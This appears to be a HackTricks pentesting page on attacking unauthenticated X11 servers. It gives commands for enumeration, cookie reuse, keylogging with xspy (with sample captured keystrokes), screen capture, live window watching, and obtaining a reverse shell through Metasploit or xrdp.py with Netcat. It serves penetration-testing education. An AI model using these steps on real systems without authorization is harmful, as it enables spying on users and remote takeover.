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202 lines
8.7 KiB
Markdown
202 lines
8.7 KiB
Markdown
# 6000 - Pentesting X11
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
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**HackenProof is home to all crypto bug bounties.**
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**Get rewarded without delays**\
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HackenProof bounties launch only when their customers deposit the reward budget. You'll get the reward after the bug is verified.
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**Get experience in web3 pentesting**\
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Blockchain protocols and smart contracts are the new Internet! Master web3 security at its rising days.
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**Become the web3 hacker legend**\
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Gain reputation points with each verified bug and conquer the top of the weekly leaderboard.
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[**Sign up on HackenProof**](https://hackenproof.com/register) start earning from your hacks!
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{% embed url="https://hackenproof.com/register" %}
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## Basic Information
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The X Window System (aka X) is a windowing system for bitmap displays, which is common on UNIX-based operating systems. X provides the basic framework for a GUI based environment. X also does not mandate the user interface – individual programs handle this.\
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From: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
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**Default port:** 6000
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```
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PORT STATE SERVICE
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6000/tcp open X11
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```
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## Enumeration
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Check for **anonymous connection:**
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```bash
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nmap -sV --script x11-access -p <PORT> <IP>
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msf> use auxiliary/scanner/x11/open_x11
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```
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#### Local Enumeration
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The file **`.Xauthority`** in the users home folder is **used** by **X11 for authorization**. From [**here**](https://stackoverflow.com/a/37367518):
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> MIT-magic-cookie-1: Generating 128bit of key (“cookie”), storing it in \~/.Xauthority (or where XAUTHORITY envvar points to). The client sends it to server plain! the server checks whether it has a copy of this “cookie” and if so, the connection is permitted. the key is generated by DMX.
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{% hint style="warning" %}
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In order to **use the cookie** you should set the env var: **`export XAUTHORITY=/path/to/.Xauthority`**
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{% endhint %}
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## Verfy Connection
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```bash
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xdpyinfo -display <ip>:<display>
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xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0
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```
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## Keyloggin
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[xspy](http://tools.kali.org/sniffingspoofing/xspy) to sniff the keyboard keystrokes.
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Sample Output:
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```
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xspy 10.9.xx.xx
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opened 10.9.xx.xx:0 for snoopng
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swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
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qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab
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```
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## Screenshots capturing
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```bash
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xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
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convert screenshot.xwd screenshot.png
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```
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## Remote Desktop View
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Way from: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
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```
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./xrdp.py <IP:0>
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```
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Way from: [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
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First we need to find the ID of the window using xwininfo
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```
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xwininfo -root -display 10.9.xx.xx:0
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xwininfo: Window id: 0x45 (the root window) (has no name)
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Absolute upper-left X: 0
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Absolute upper-left Y: 0
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Relative upper-left X: 0
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Relative upper-left Y: 0
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Width: 1024
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Height: 768
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Depth: 16
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Visual: 0x21
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Visual Class: TrueColor
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Border width: 0
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Class: InputOutput
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Colormap: 0x20 (installed)
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Bit Gravity State: ForgetGravity
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Window Gravity State: NorthWestGravity
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Backing Store State: NotUseful
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Save Under State: no
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Map State: IsViewable
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Override Redirect State: no
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Corners: +0+0 -0+0 -0-0 +0-0
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-geometry 1024x768+0+0
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```
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**XWatchwin**
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For **live viewing** we need to use
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```bash
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./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
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./xwatchwin 10.9.xx.xx:0 -w 0x45
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```
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## Get Shell
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```
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msf> use exploit/unix/x11/x11_keyboard_exec
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```
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Other way:
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**Reverse Shell:** Xrdp also allows to take reverse shell via Netcat. Type in the following command:
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**./xrdp.py \<IP:0> –no-disp**
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It will prompt a new control pane where we can see the R-shell option, which is illustrated below:
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We will start the Netcat listening mode in our local system on port 5555, which is illustrated below:
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Then add the IP and port and then select R-Shell, which is illustrated below:
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Now as can be seen below we have complete system access:
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{% embed url="https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref" %}
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## Shodan
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* `port:6000 x11`
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<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
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**HackenProof is home to all crypto bug bounties.**
|
||
|
||
**Get rewarded without delays**\
|
||
HackenProof bounties launch only when their customers deposit the reward budget. You'll get the reward after the bug is verified.
|
||
|
||
**Get experience in web3 pentesting**\
|
||
Blockchain protocols and smart contracts are the new Internet! Master web3 security at its rising days.
|
||
|
||
**Become the web3 hacker legend**\
|
||
Gain reputation points with each verified bug and conquer the top of the weekly leaderboard.
|
||
|
||
[**Sign up on HackenProof**](https://hackenproof.com/register) start earning from your hacks!
|
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{% embed url="https://hackenproof.com/register" %}
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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